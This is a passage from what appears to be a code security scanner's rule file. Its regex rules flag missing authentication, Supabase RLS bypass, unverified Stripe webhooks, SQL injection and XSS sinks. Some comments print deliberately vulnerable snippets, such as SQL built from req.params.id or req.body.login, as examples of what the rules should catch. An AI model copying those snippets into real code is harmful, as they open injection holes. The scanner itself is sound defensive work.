!SUPABASE_EDGE_FN_RE.test(filePath)) {\n routePatterns.push(\n /(?:exports\\s*\\.\\s*handler|export\\s+const\\s+handler)\\s*(?::[^=\\n]{0,120})?=\\s*(?:async\\s*)?(?:function\\b|\\()/g,\n /export\\s+default\\s+(?:async\\s+)?(?:function\\b|\\()/g,\n );\n }\n\n // Next.js App Router handlers written as exported arrow constants.\n // `export const GET = async (req) => {}` is the same endpoint with the same\n // exposure as `export async function GET`, and the rule saw only the\n // declaration form.\n //\n // Gated on the path being an actual App Router route file, unlike the\n // declaration form above. `export const GET = (url) => request(\"GET\", url)`\n // is a perfectly ordinary thing to find in a frontend HTTP helper — and\n // `src/api/http.ts` satisfies isServerSideFile via its `api/` segment — so\n // matching the token alone would have put a high-severity auth finding on\n // client-side fetch wrappers.\n if (/(?:^|\\/)(?:src\\/)?app\\/(?:.*\\/)?route\\.(?:m?[jt]sx?)$/.test(filePath)) {\n routePatterns.push(\n /export\\s+const\\s+(?:GET|POST|PUT|PATCH|DELETE)\\s*(?::[^=\\n]{0,120})?=\\s*(?:async\\s*)?(?:function\\b|\\()/g,\n );\n }\n\n // Skip test files\n if (isTestFile(filePath)) return [];\n // Skip non-code files\n if (filePath.match(/\\.(md|txt|rst|html|css|json|yaml|yml)$/)) return [];\n\n // Skip routes that are intentionally unauthenticated\n const isAuthRoute = /\\/auth\\/|\\/login|\\/signup|\\/register|\\/logout|\\/password\\/|\\/forgot|\\/reset/i.test(filePath);\n if (isAuthRoute) return [];\n\n // Skip webhook receivers (they use their own auth: HMAC, shared secrets, etc.)\n //\n // Written as a UNION on purpose, and it must stay one.\n //\n // The first alternative is the original test, unchanged. The second adds\n // the hyphenated one-directory-per-function layout that serverless\n // platforms produce — `supabase/functions/stripe-webhook/index.ts`,\n // `netlify/functions/clerk-webhook.ts` — which a leading-slash test never\n // matched.\n //\n // Replacing the first with the second, which is what this started life as,\n // is a REGRESSION and not a widening: the second alternative's trailing\n // `[/_.-]|$` class rejects an uppercase next character, so `webhookHandler.ts`,\n // `webhookRouter.ts`, `webhooksController.ts` and `webhookV2.ts` — all\n // skipped since the rule was written — started earning a fresh\n // high-severity finding. Six such paths are pinned in the superset test in\n // packages/cli/src/__tests__/custom-rules.test.ts. Keeping both halves is\n // what makes \"strictly more paths are skipped than before\" true by\n // construction rather than by argument.\n const isWebhookRoute =\n /\\/webhook/i.test(filePath) || /(?:^|[/_-])webhooks?(?:[/_.-]|$)/i.test(filePath);\n if (isWebhookRoute) return [];\n\n // Strip line + block comments before the auth check — otherwise a\n // comment like \"// no auth check\" suppresses the rule on the very\n // file the rule was supposed to flag.\n const codeOnly = content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, \"\")\n .replace(/(^|[^:])\\/\\/.*$/gm, \"$1\")\n .replace(/^\\s*#.*$/gm, \"\");\n\n const authPatterns = [\n /\\bgetUser\\b/i, /\\bcurrentUser\\b/i, /\\bisAuthenticated\\b/i,\n /\\brequire\\w*Auth\\b/i, /\\brequireUser\\b/i, /\\brequireUserForApi\\b/i,\n /\\bwithAuth\\b/i, /\\bgetServerSession\\b/i, /\\bgetToken\\b/i,\n /\\bverifyToken\\b/i, /\\bvalidateToken\\b/i, /\\bcheckApiKey\\b/i,\n /\\bverifyCronSecret\\b/i, /\\bverifySecret\\b/i,\n /supabase\\.auth/i, /firebase\\.auth/i,\n /\\bclerk\\b/i, /\\bpassport\\b/i, /\\bcognito\\b/i,\n /\\bauth\\(\\)/i, /req\\.user\\b/i, /req\\.session\\.\\w+/i,\n /\\bjwt\\.verify\\b/i, /\\bbearer\\s/i,\n /\\b(?:protect|guard)\\(/i,\n /\\.use\\([^)]*(?:auth|session|protect|requireAuth)/i,\n // A handler that can answer HTTP 401 is, by definition, deciding whether\n // the caller is allowed in. This catches the whole family of\n // capability-token flows the named patterns above miss — magic links,\n // share links, unsubscribe links, invite/claim URLs — where there is no\n // session and no account, and the unguessable token in the request IS\n // the credential, checked by a bespoke lookup like\n // `findShareByToken(slug, token)`.\n //\n // 401 only, deliberately not 403. 401 means \"I could not authenticate\n // you\"; 403 is routinely returned by things that never identified the\n // caller at all — an Origin allowlist on an anonymous analytics beacon,\n // a feature flag, a geo block. Accepting 403 would suppress genuinely\n // unauthenticated routes.\n /\\bstatus(?:Code)?\\s*[:(]\\s*401\\b/,\n /\\bsendStatus\\s*\\(\\s*401\\b/,\n ];\n\n // Auth signals split by the scope they can credibly protect.\n //\n // APP-LEVEL signals plausibly cover every handler in the file: middleware\n // mounted on the router, a Passport strategy, a Clerk middleware config, a\n // withAuth() wrapper around the export. Whole-file is the right question\n // for these, and they keep the original behaviour exactly.\n //\n // Everything else protects only the handler it appears in. Testing those\n // against the whole file is what produced the recall problem this fixes:\n // ONE protected handler made every OTHER handler in the same file\n // unflaggable, no matter how far away or how unrelated. A file with a\n // session check in its GET and nothing at all in its DELETE reported\n // clean.\n const APP_LEVEL_AUTH = [\n /\\.use\\([^)]*(?:auth|session|protect|requireAuth)/i,\n /\\bpassport\\b/i,\n /\\bclerk\\b/i,\n /\\bwithAuth\\b/i,\n ];\n if (APP_LEVEL_AUTH.some((p) => p.test(codeOnly))) return [];\n\n const handlerAuthPatterns = authPatterns.filter(\n (p) => !APP_LEVEL_AUTH.some((a) => a.source === p.source),\n );\n\n // Masked, not stripped, so indices still line up with `content` and the\n // handler slice below lands on the right bytes.\n const maskedForScope = maskComments(content);\n\n /**\n * Is the handler containing `index` authenticated?\n *\n * Falls back to the whole file when no handler can be identified. That\n * direction is deliberate: a parse failure then reproduces today's\n * behaviour and suppresses, rather than inventing a high-severity auth\n * finding on a file this cannot read. A missed finding is recoverable; a\n * wrong critical on a customer's dashboard is not.\n */\n const handlerHasAuth = (index: number): boolean => {\n // A route match lands on the DECLARATION (`export async function\n // DELETE(req) {`), which sits OUTSIDE the handler's braces. Walking\n // outward from there finds no enclosing block at all, enclosingHandler\n // returns null, and the whole-file fallback silently restores the very\n // behaviour being fixed. Probe from just inside the body instead.\n const bodyStart = maskedForScope.indexOf(\"{\", index);\n const probe = bodyStart === -1 ? index : bodyStart + 1;\n const scope = enclosingHandler(maskedForScope, probe);\n if (scope === null) return handlerAuthPatterns.some((p) => p.test(codeOnly));\n return handlerAuthPatterns.some((p) => p.test(scope));\n };\n\n const matches: RuleMatch[] = [];\n for (const pattern of routePatterns) {\n matches.push(\n ...findMatches(content, pattern, missingAuthMiddleware, filePath, () =>\n \"Add authentication middleware to protect this route. Check the user's session/token before processing the request. If the endpoint is public by design (an OG image, an embeddable badge, a health check), add an inline `// VC003-OK: <reason>` comment above the handler to silence.\"\n ),\n );\n }\n\n // Supabase Edge Function entry point. Held to a stricter bar than the\n // shapes above — four gates, all of which must hold:\n //\n // 1. the path is `supabase/functions/<name>/…`, the shape the finding\n // text and the fix advice actually describe;\n // 2. `authPatterns` found nothing;\n // 3. the path is not public-by-design, an auth flow, or cron-like;\n // 4. none of the weak identity hints appear anywhere in the file.\n //\n // An edge function that so much as reads the Authorization header is left\n // alone. A wrong high-severity auth finding on a customer's dashboard costs\n // far more than a miss, and this shape has no calibration history yet.\n //\n // Gate 1 is not redundant with `isServerSideFile`. Without it the shape\n // fired on any server-side-looking file containing `Deno.serve(` — a local\n // dev proxy, an MCP transport, a `server/main.ts` bootstrap — and told the\n // author to fix it with a Supabase client they do not have.\n //\n // Only when nothing else in the file matched. A Hono app served by\n // `Deno.serve(app.fetch)` already had each of its unauthenticated routes\n // flagged above; adding the bootstrap line as well would report the same\n // missing check twice and inflate the finding count.\n if (\n matches.length === 0 &&\n SUPABASE_EDGE_FN_RE.test(filePath) &&\n isDenoEdgeEntry(codeOnly) &&\n !isPublicByDesignEdgePath(filePath)\n ) {\n // Cross-file evidence from supabase/config.toml, when the caller\n // supplied a ProjectContext.\n //\n // `verify_jwt` decides whether the PLATFORM validates a JWT before this\n // function is ever invoked, and it is the single most decisive fact\n // about an edge function's exposure. It is also impossible to see from\n // the function's own source, which is why this rule needed cross-file\n // support rather than a wider pattern.\n //\n // It cuts both ways, and the suppressing direction matters more:\n //\n // true — Supabase rejects unauthenticated callers before the handler\n // runs. The endpoint IS authenticated, whatever the body\n // looks like, so reporting \"missing authentication\" would be\n // a false positive. 30 of the 82 function declarations in the\n // wedge corpus are in this state.\n // false — the platform gate is off. The function is reachable by\n // anyone, and a weak hint like merely reading the\n // Authorization header is not a check. The weak-hint\n // suppression below is skipped.\n // absent — unknown, not false. Supabase defaults to true, but a\n // function missing from config.toml may simply be undeclared,\n // so behaviour is unchanged from before this signal existed.\n const fnName = supabaseFunctionName(filePath);\n const verifyJwt =\n fnName && project?.supabaseEdgeVerifyJwt\n ? project.supabaseEdgeVerifyJwt.get(fnName)\n : undefined;\n\n if (verifyJwt !== true) {\n const withoutCors = stripCorsHeaderList(codeOnly);\n const hasWeakHint =\n verifyJwt === false\n ? false\n : EDGE_WEAK_AUTH_HINTS.some((p) => p.test(withoutCors));\n if (!hasWeakHint) {\n matches.push(\n ...findMatches(content, DENO_EDGE_ENTRY_RE, missingAuthMiddleware, filePath, () =>\n \"This edge function does not establish who is calling it. Read the caller's token from the Authorization header and resolve it (`const { data: { user } } = await supabase.auth.getUser(token)`), or build the Supabase client with that token so row-level security scopes every query to the caller. If the endpoint is public by design, add an inline `// VC003-OK: <reason>` comment above the handler to silence.\"\n ),\n );\n }\n }\n }\n // Some endpoints are unauthenticated on purpose — an OG image, an\n // embeddable badge, a public health check. The rule strips comments\n // before its auth-pattern scan precisely so a stray \"// no auth needed\"\n // can't suppress it, which leaves an explicit, rule-scoped marker as the\n // only honest escape valve. isInlineSilenced's own rationale already\n // names VC003 as a rule that needs one; it just was never wired up here,\n // so the `// VC003-OK:` comment our README tells users to write did\n // nothing on the one rule most likely to need it.\n // Drop any match whose own handler is authenticated. Until now a single\n // protected handler exempted the whole file; this is the change that makes\n // per-handler recall possible.\n //\n // Line -> index via a precomputed table so this stays O(content) rather\n // than re-scanning per match.\n const lineStarts: number[] = [0];\n for (let i = 0; i < content.length; i++) {\n if (content[i] === \"\\n\") lineStarts.push(i + 1);\n }\n const indexOfLine = (line: number): number =>\n lineStarts[Math.max(0, Math.min(line - 1, lineStarts.length - 1))];\n\n const unauthenticated = matches.filter((m) => !handlerHasAuth(indexOfLine(m.line)));\n\n return filterSilenced(unauthenticated, content, \"VC003\");\n },\n};\n\n/**\n * Route names whose meaning is fixed by a framework file convention or a\n * long-standing web convention, and which are therefore fetched anonymously\n * on purpose. Used by VC003.\n *\n * Deliberately short: only names whose meaning a framework or the web fixes\n * for you. `health`, `status`, `feed` and friends are NOT here — each of those\n * legitimately serves per-tenant data in some apps.\n */\nconst PUBLIC_BY_CONVENTION_ROUTE =\n /^(?:og|opengraph-image|twitter-image|icon|apple-icon|favicon|sitemap|robots|manifest|badge)(?:[.-]\\w+)?$/i;\n\n/**\n * The name a route is addressed by.\n *\n * Next.js App Router puts the handler in `route.ts` and the URL segment in the\n * parent directory (`app/api/og/route.tsx` → \"og\",\n * `app/trust/[slug]/badge.svg/route.ts` → \"badge.svg\"). Everything else is\n * named by its own file (`app/sitemap.ts` → \"sitemap\").\n */\nfunction routeSegmentName(filePath: string): string {\n const segments = filePath.split(\"/\");\n const base = segments[segments.length - 1] ?? \"\";\n if (/^route\\.(?:ts|tsx|js|jsx|mjs|cjs)$/i.test(base)) {\n return segments[segments.length - 2] ?? \"\";\n }\n return base.replace(/\\.[^.]+$/, \"\");\n}\n\nexport const supabaseNoRLS: CustomRule = {\n id: \"VC004\",\n title: \"Supabase Client Without Row Level Security\",\n severity: \"critical\",\n category: \"Authorization\",\n description: \"Using Supabase with the service role key or bypassing RLS exposes all database rows to any user.\",\n check(content, filePath) {\n const matches: RuleMatch[] = [];\n\n // Service role key used in client-side code\n if (\n /supabase_service_role|service_role_key/i.test(content) &&\n (/[\"']use client[\"']/.test(content) || filePath.match(/\\.(jsx|tsx|vue|svelte)$/))\n ) {\n matches.push(\n ...findMatches(\n content,\n /service_role/gi,\n supabaseNoRLS,\n filePath,\n () => \"Never expose the service_role key in client-side code. Use the anon key with RLS policies instead.\",\n ),\n );\n }\n\n // .rpc() or direct table access without .auth\n if (/createClient/i.test(content) && /\\.from\\(/.test(content)) {\n const hasRLSBypass = /\\.rpc\\(|auth\\.admin|service_role/i.test(content);\n if (hasRLSBypass) {\n matches.push(\n ...findMatches(\n content,\n /\\.rpc\\(|auth\\.admin/gi,\n { ...supabaseNoRLS, title: \"Supabase RLS Bypass Detected\" },\n filePath,\n () => \"Ensure RLS policies are enabled on all tables and avoid bypassing them with service_role or admin methods in user-facing code.\",\n ),\n );\n }\n }\n\n return matches;\n },\n};\n\nexport const stripeWebhookUnprotected: CustomRule = {\n id: \"VC005\",\n title: \"Unprotected Stripe Webhook Endpoint\",\n severity: \"critical\",\n category: \"Payment Security\",\n description: \"Stripe webhook endpoints without signature verification allow attackers to fake payment events.\",\n check(content, filePath) {\n // Only scan code files, never docs/README/markdown/lock files\n if (!filePath.match(/\\.(js|ts|jsx|tsx|py|rb|go|java|php)$/)) return [];\n if (isTestFile(filePath)) return [];\n\n /**\n * Comments are prose, not code.\n *\n * Every content test below ran against the RAW file, so a sentence about\n * Stripe made a file look like a Stripe integration and a sentence quoting\n * an event name made it look like a webhook handler. That is not\n * hypothetical: a change to /api/billing/change-plan — an authenticated\n * user action that calls the Stripe API and is not a webhook at all — was\n * reported as a CRITICAL unprotected webhook because a comment explaining\n * the downgrade flow mentioned `customer.subscription.updated`.\n *\n * It cuts both ways. A comment containing the word `constructEvent` would\n * have suppressed the finding on a genuinely unprotected webhook.\n *\n * maskComments blanks comments while preserving every byte offset, which\n * matters here because the handler patterns below report a line number.\n * Its own doc comment describes this exact class — the rule simply never\n * used it.\n */\n const code = maskComments(content);\n\n // The PATH is evidence, not just the body.\n //\n // This rule used to require the literal string \"stripe\" inside the file,\n // which silently excluded the single most common shape AI builders emit:\n // a Next.js App Router handler at app/api/webhooks/stripe/route.ts that\n // reads the event and dispatches on it without ever naming Stripe. The\n // directory carries the identity; the code does not have to. A critical\n // payment rule that cannot see the default modern layout is close to no\n // rule at all — VC003 learned the same lesson about handler shapes.\n const pathSaysStripeWebhook =\n /(?:^|\\/)(?:stripe[_-]?webhooks?|webhooks?[_-]?stripe)(?:\\/|\\.|$)/i.test(filePath) ||\n /webhooks?\\/stripe/i.test(filePath) ||\n /stripe\\/webhooks?/i.test(filePath);\n\n // Must actually reference Stripe (not just generic \"webhook\")\n if (!/stripe/i.test(code) && !pathSaysStripeWebhook) return [];\n\n // Must have a webhook handler pattern (route definition or event handling).\n // A path of .../webhooks/stripe/route.ts IS that evidence — requiring the\n // body to also say \"webhook\", or to name one of four hardcoded event\n // types, is what kept case C below silent.\n const hasStripeWebhookHandler =\n pathSaysStripeWebhook ||\n /(?:stripe.*webhook|webhook.*stripe)/i.test(code) ||\n /(?:checkout\\.session\\.completed|invoice\\.paid|payment_intent|customer\\.subscription)/i.test(code);\n if (!hasStripeWebhookHandler) return [];\n\n // Already has signature verification — safe.\n //\n // The trailing alternative covers verification extracted into a helper —\n // `await verifyStripeWebhook(req)` — which is common once a project has\n // more than one webhook and is not a reason to report it. It requires the\n // call to name BOTH the act and the subject, so a plain `verifyUser()`\n // in a webhook handler does not suppress the finding.\n if (\n /constructEvent|verifyHeader|stripe[_-]?signature|webhook[_-]?secret|STRIPE_WEBHOOK_SECRET/i.test(code) ||\n /\\b\\w*verif\\w*\\s*\\(/i.test(code) && /\\bverif\\w*(?:stripe|webhook|signature|sig)\\w*\\s*\\(/i.test(code)\n ) return [];\n\n // Find the actual route handler, not every mention of \"webhook\"\n const handlerPatterns = [\n // POST handler that processes Stripe events\n /export\\s+(?:async\\s+)?function\\s+POST\\s*\\(/g,\n // The same handler written as an exported arrow or function expression:\n // export const POST = async (req) => { … }\n // Added alongside the same shape in VC003 (#648); without it an App\n // Router webhook written in the arrow style was invisible.\n /export\\s+const\\s+POST\\s*(?::[^=]+)?=\\s*(?:async\\s*)?(?:\\([^)]*\\)|[A-Za-z_$][\\w$]*)\\s*=>/g,\n // Express-style Stripe webhook route\n /\\.(post|all)\\s*\\(\\s*[\"'`][^\"'`]*(?:stripe|webhook)[^\"'`]*[\"'`]/gi,\n // Event type checking without prior verification\n /(?:event\\.type|req\\.body\\.type)\\s*===?\\s*[\"'`](?:checkout|invoice|payment|customer)\\./g,\n ];\n\n const matches: RuleMatch[] = [];\n for (const pattern of handlerPatterns) {\n matches.push(\n ...findMatches(code, pattern, stripeWebhookUnprotected, filePath, () =>\n \"Verify the Stripe webhook signature using stripe.webhooks.constructEvent(body, sig, webhookSecret) to prevent forged payment events.\"\n ),\n );\n }\n return matches;\n },\n};\n\n/**\n * Every identifier in the file that ENDS with `placeholder`/`placeholders`,\n * matched at the start of the identifier so the capture is the whole name.\n * Group 1 is the prefix, group 2 the trailing word.\n */\nconst PLACEHOLDER_IDENT_RE = /(?<![\\w$])([\\w$]*?)(placeholders?)(?![\\w$])/gi;\n\n/**\n * Does the file build a run of `?` placeholders in a named variable?\n *\n * A variable-length `IN (...)` clause has no parameterized form, so the\n * idiom — in SQLite/libSQL especially — is to build the run separately and\n * bind every value:\n *\n * const ENTITLED_STATUSES_PLACEHOLDERS = STATUSES.map(() => \"?\").join(\", \");\n * db.execute({\n * sql: `SELECT … WHERE status IN (${ENTITLED_STATUSES_PLACEHOLDERS})`,\n * args: [...STATUSES],\n * });\n *\n * Interpolating that is not injection: by construction the value is `?, ?, ?`\n * and the data still travels as bound arguments.\n *\n * The name counts only when `placeholder(s)` is its LAST segment, at a real\n * segment boundary — the start of the name, after `_`/`$`, or at a camelCase\n * hump. So `placeholders`, `PLACEHOLDERS`, `statusPlaceholders`,\n * `row_placeholders` and `ENTITLED_STATUSES_PLACEHOLDERS` all qualify, where\n * before only a name that was exactly `placeholder(s)` did.\n *\n * A name that merely CONTAINS the word keeps being judged on its own merits:\n * `placeholdersAndValues` and `unsafePlaceholdersConcat` still get scanned.\n * That line is deliberate. The trailing segment is the whole claim being\n * made — that the variable IS the `?` run. Once something follows it, the\n * value is some other thing assembled out of placeholders (a whole clause, a\n * concatenation, a values list), and an inlined value list is exactly what\n * would hide there. Naming alone is weak evidence, so we spend it only where\n * it is unambiguous.\n */\nfunction namesPlaceholderRun(content: string): boolean {\n PLACEHOLDER_IDENT_RE.lastIndex = 0;\n let m: RegExpExecArray | null = PLACEHOLDER_IDENT_RE.exec(content);\n for (; m !== null; m = PLACEHOLDER_IDENT_RE.exec(content)) {\n const prefix = m[1];\n // `placeholders`, `${placeholders}`, `row.placeholders`\n if (prefix === \"\") return true;\n const boundary = prefix[prefix.length - 1];\n // `ENTITLED_STATUSES_PLACEHOLDERS`, `row_placeholders`\n if (boundary === \"_\" || boundary === \"$\") return true;\n // camelCase hump: `statusPlaceholders`, `rowPlaceHolders`\n if (/[a-z0-9]/.test(boundary) && /[A-Z]/.test(m[2][0])) return true;\n }\n return false;\n}\n\nexport const sqlInjection: CustomRule = {\n id: \"VC006\",\n title: \"Potential SQL Injection\",\n severity: \"critical\",\n category: \"Injection\",\n description: \"String concatenation or template literals in SQL queries allow attackers to execute arbitrary database commands.\",\n check(content, filePath) {\n const patterns = [\n // Template literal passed as first arg to query/execute/raw/sql/\n // queryRaw/queryRawUnsafe/execute. Examples that SHOULD fire:\n // db.query(`SELECT ... ${x}`)\n // prisma.$queryRawUnsafe(`... ${x}`)\n // knex.raw(`... ${x}`)\n /(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\\s*\\(\\s*`[^`]*\\$\\{/gi,\n // String concatenation in SQL — now includes raw() and sql() and\n // Drizzle's sql.raw() / Prisma's $queryRawUnsafe() variants. Previous\n // version only covered query()/execute() and missed knex.raw(\"...\" + x).\n //\n // The string literal part uses a proper \"quoted string\" regex that\n // allows the opposite quote type inside (common in SQL — \"WHERE x = 'a'\").\n // The older `[^\"']*` class bailed out at the first inner quote and\n // missed every realistic SQL-containing concat.\n /(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\\s*\\(\\s*(?:\"(?:[^\"\\\\]|\\\\.)*\"|'(?:[^'\\\\]|\\\\.)*')\\s*\\+/gi,\n // Direct variable interpolation in a SQL string literal. Requires the\n // verb to START a quoted/backtick literal AND be followed — within the\n // same literal — by a SQL structural keyword (FROM/SET/WHERE/…), then a\n // `${` interpolation. The structural keyword is what distinguishes a\n // real query from ordinary prose: the previous pattern matched any\n // SELECT/UPDATE/… word anywhere on a line followed by `${`, so UI copy\n // like `UPDATE your profile settings ${name}` flagged as a CRITICAL SQL\n // injection. Real queries (\"SELECT … FROM …\", \"UPDATE … SET …\") always\n // carry a second structural keyword; sentences almost never do.\n /[\"'`]\\s*(?:SELECT|INSERT|UPDATE|DELETE)\\b[^\"'`\\n]*\\b(?:FROM|INTO|SET|VALUES|WHERE|JOIN|RETURNING)\\b[^\"'`\\n]*\\$\\{(?!.*parameterized)/gi,\n ];\n\n const matches: RuleMatch[] = [];\n\n // Skip if using parameterized queries / prepared statements.\n //\n // A named `?`-run (see namesPlaceholderRun) is the other half of this\n // skip; it carries its own explanation of which names qualify.\n //\n // Also accept multi-? sequences within a single SQL clause — patterns\n // like `LIMIT ? OFFSET ?` with no comma between them weren't catching\n // the `\\?\\s*,` test. The `\\?[^?,;]*\\?` form matches two question marks\n // separated by SQL keywords (LIMIT/OFFSET/AND/etc.) but not by a\n // statement separator.\n //\n // The placeholder forms are looked for INSIDE SQL string literals only.\n // Tested against the whole file, `:[\\w]+` matched every Express route\n // parameter (\"/api/users/:id\"), port (\"localhost:3000\") and `a?b:c`\n // ternary, so the rule returned nothing for most Express files — including\n // a textbook db.query(`SELECT … ${req.params.id}`) on the homepage demo.\n const sqlLiterals = (content.match(/'(?:[^'\\\\\\n]|\\\\.)*'|\"(?:[^\"\\\\\\n]|\\\\.)*\"|`(?:[^`\\\\]|\\\\.)*`/g) ?? []).filter(\n (lit) => /\\b(?:SELECT|INSERT|UPDATE|DELETE)\\b[\\s\\S]*\\b(?:FROM|INTO|SET|VALUES|WHERE)\\b/i.test(lit),\n );\n const usesParams =\n /\\bprepare\\b/i.test(content) ||\n sqlLiterals.some((lit) => /\\?\\s*,|\\?[^?,;]{1,20}\\?|\\$\\d+|:[A-Za-z_]\\w*|@[A-Za-z_]\\w*|=\\s*\\?/.test(lit));\n // Comments are stripped before the name check: a comment that merely says\n // \"placeholders\" is not a variable holding a `?` run.\n const code = content.replace(/\\/\\*[\\s\\S]*?\\*\\//g, \" \").replace(/(^|[^:\"'`\\\\])\\/\\/.*$/gm, \"$1\");\n if (usesParams || namesPlaceholderRun(code)) return [];\n\n for (const pattern of patterns) {\n const raw = findMatches(content, pattern, sqlInjection, filePath, () =>\n \"Use parameterized queries or prepared statements instead of string interpolation. Example: db.query('SELECT * FROM users WHERE id = ?', [userId])\"\n );\n\n // Filter out safe tagged-template forms. These look like `Prisma.sql`...``\n // or Drizzle's `sql\\`...\\`` — both bind ${...} as query parameters\n // rather than concatenating. Previously the VC006 regex fired a FP\n // when these were nested inside `prisma.$queryRaw(Prisma.sql\\`...\\`)`\n // because the outer call's backtick/template looked like a dynamic SQL\n // string.\n //\n // Heuristic: if the line contains Prisma.sql`` or Drizzle's sql`` OR\n // the enclosing call is a KNOWN SAFE wrapper (e.g. $queryRaw WITHOUT\n // \"Unsafe\" suffix), skip the finding.\n for (const m of raw) {\n const lineText = content.split(\"\\n\")[m.line - 1] || \"\";\n // Prisma.sql tagged template — safe\n if (/\\bPrisma\\.sql\\s*`/.test(lineText)) continue;\n // Drizzle's sql`...` tagged template — safe (NOT sql.raw(), which is\n // unsafe and flagged by a different pattern above)\n if (/\\bsql\\s*`/.test(lineText) && !/\\bsql\\.raw\\s*\\(/.test(lineText)) continue;\n // Safe Prisma helpers — $queryRaw/$executeRaw (without Unsafe suffix)\n // always take a Prisma.sql tagged template; if the dev used one of\n // the unsafe variants the regex above will still flag them.\n if (/\\$queryRaw\\s*\\(\\s*Prisma\\.sql|\\$executeRaw\\s*\\(\\s*Prisma\\.sql/.test(lineText)) continue;\n // Several patterns can match one query (db.query(`SELECT … ${x}`) hits\n // both the call pattern and the literal pattern). One line, one\n // finding: the web scanner doesn't dedupe, so the duplicate was shown\n // twice and counted twice against the grade.\n if (matches.some((x) => x.line === m.line)) continue;\n matches.push(m);\n }\n }\n\n // --- AST layer: query/execute calls whose argument traces to user input ---\n // Catches the indirected form the regex layers can't see:\n // var q = \"SELECT ... WHERE login='\" + req.body.login + \"'\";\n // db.sequelize.query(q)\n // The taint map already propagates through concat/template/assignment,\n // so we only need to ask whether the value reaching the sink is tainted.\n // Literal-only args are skipped — those are the inline cases the regex\n // layers above already judge (with their tagged-template safety checks).\n if (/\\.\\s*(?:query|execute|raw|queryRawUnsafe|executeRawUnsafe|\\$queryRawUnsafe|\\$executeRawUnsafe)\\s*\\(/.test(content)) {\n const ctx = tryParse(content, filePath);\n if (ctx) {\n const { parsed, taint } = ctx;\n const SQL_SINKS = new Set([\n \"query\", \"execute\", \"raw\",\n \"queryRawUnsafe\", \"executeRawUnsafe\",\n \"$queryRawUnsafe\", \"$executeRawUnsafe\",\n ]);\n visitCalls(\n parsed,\n (callee: Node) =>\n callee.type === \"MemberExpression\" &&\n callee.property.type === \"Identifier\" &&\n SQL_SINKS.has(callee.property.name),\n (call, line) => {\n const first = call.arguments[0];\n if (!first || first.type === \"SpreadElement\") return;\n // Inline literals/templates are the regex layers' jurisdiction.\n if (first.type === \"StringLiteral\" || first.type === \"TemplateLiteral\") return;\n if (!taint.isTainted(first as Node)) return;\n if (matches.some((m) => m.line === line)) return;\n matches.push(\n astMatch(\n content,\n filePath,\n line,\n sqlInjection,\n \"Use parameterized queries instead of building SQL from user input in a variable. Example: db.query('SELECT * FROM users WHERE login = ?', [req.body.login])\",\n ),\n );\n },\n );\n }\n }\n\n return matches;\n },\n};\n\nexport const xssVulnerability: CustomRule = {\n id: \"VC007\",\n title: \"Potential Cross-Site Scripting (XSS)\",\n severity: \"high\",\n category: \"Injection\",\n description: \"Rendering user input without sanitization allows attackers to inject malicious scripts.\",\n check(content, filePath) {\n // An explicit Angular bypassSecurityTrust* call DEFEATS sanitization, so\n // a file that uses one must not be skipped by the sanitizer heuristics\n // below — `DomSanitizer` (which contains \"sanitizer\") would otherwise\n // make every Angular DOM-XSS sink invisible.\n const hasSanitizerBypass = /bypassSecurityTrust(?:Html|Script|Style|Url|ResourceUrl)\\s*\\(/.test(content);\n\n // Skip if file is a sanitizer utility or already uses DOMPurify\n if (/(?:sanitize|purify|escape|xss)/i.test(filePath)) return [];\n if (!hasSanitizerBypass && /DOMPurify\\.sanitize|sanitizeHtml|xss\\(|escapeHtml/i.test(content)) return [];\n // Skip if the file imports or requires DOMPurify or a sanitize library anywhere.\n // Gap bounded to {0,200} (not greedy `.*`): a real import statement has the\n // library name within a few dozen chars of the keyword, while an unbounded\n // `.*` backtracks the whole line on a pathological single-line payload of\n // repeated `require ` tokens — ~7s per call on a 256KB file, a CPU-DoS on\n // the public scan endpoint (security review June 2026).\n if (!hasSanitizerBypass && /(?:import|require)\\s*\\(?[^\\n]{0,200}(?:DOMPurify|dompurify|sanitize|sanitizer)/i.test(content)) return [];\n const patterns = [\n // React dangerouslySetInnerHTML\n /dangerouslySetInnerHTML\\s*=\\s*\\{\\s*\\{\\s*__html\\s*:/g,\n // Direct innerHTML assignment\n /\\.innerHTML\\s*=\\s*(?![\"'`]\\s*$)/gm,\n // document.write\n /document\\.write\\s*\\(/g,\n // v-html in Vue\n /v-html\\s*=/g,\n // {@html} in Svelte\n /\\{@html\\s/g,\n // Angular DomSanitizer escape hatches — bypassSecurityTrustHtml /\n // bypassSecurityTrustScript / ...Url / ...ResourceUrl / ...Style. These\n // mark a value as trusted and skip Angular's built-in sanitization;\n // passing user input through one is the canonical Angular DOM-XSS sink.\n /bypassSecurityTrust(?:Html|Script|Style|Url|ResourceUrl)\\s*\\(/g,\n ];\n\n const allLines = content.split(\"\\n\");\n const matches: RuleMatch[] = [];\n for (const pattern of patterns) {\n const raw = findMatches(content, pattern, xssVulnerability, filePath, () =>\n \"Sanitize user input before rendering as HTML. Use a library like DOMPurify: DOMPurify.sanitize(userInput). If this site is intentional (JSON-LD structured data, a const boot script, a sandboxed preview, markup built only from constants and numbers), add an inline `// VC007-OK: <reason>` comment above the line to silence.\"\n );\n // Filter out innerHTML assignments that use only static strings (no user input)\n for (const m of raw) {\n // Cap the line slice used by the per-match filters below. These run\n // once PER match, so on a pathological minified single line with\n // thousands of `.innerHTML=` hits, scanning the full multi-hundred-KB\n // line each time is O(n^2) (a CPU-DoS — security review June 2026). A\n // real innerHTML literal assignment is short; capping at 4000 chars\n // keeps every genuine case and makes a giant line fall through to\n // \"flag\" (the safe direction), not \"skip\".\n const lineText = (allLines[m.line - 1] || \"\").slice(0, 4000);\n // Skip if innerHTML is assigned a pure string literal with no interpolation\n if (/\\.innerHTML\\s*=\\s*['\"]/.test(lineText) && !/\\$\\{/.test(lineText)) continue;\n // Skip if innerHTML is assigned a string concatenation of only literals (no variables from user input)\n if (/\\.innerHTML\\s*=\\s*['\"][^'\"]{0,2000}['\"]\\s*$/.test(lineText)) continue;\n\n if (/dangerouslySetInnerHTML/.test(lineText)) {\n // Skip JSON-LD structured data — `dangerouslySetInnerHTML={{ __html:\n // JSON.stringify(data) }}` is the standard SEO/structured-data\n // pattern (developer-controlled, not user HTML). VC063 (critical)\n // already treats this as safe; mirror it here so the high-severity\n // rule doesn't double-flag what we've already deemed acceptable.\n // The __html value can sit on the match line or wrap to the next\n // few lines (e.g. multi-line JSON-LD 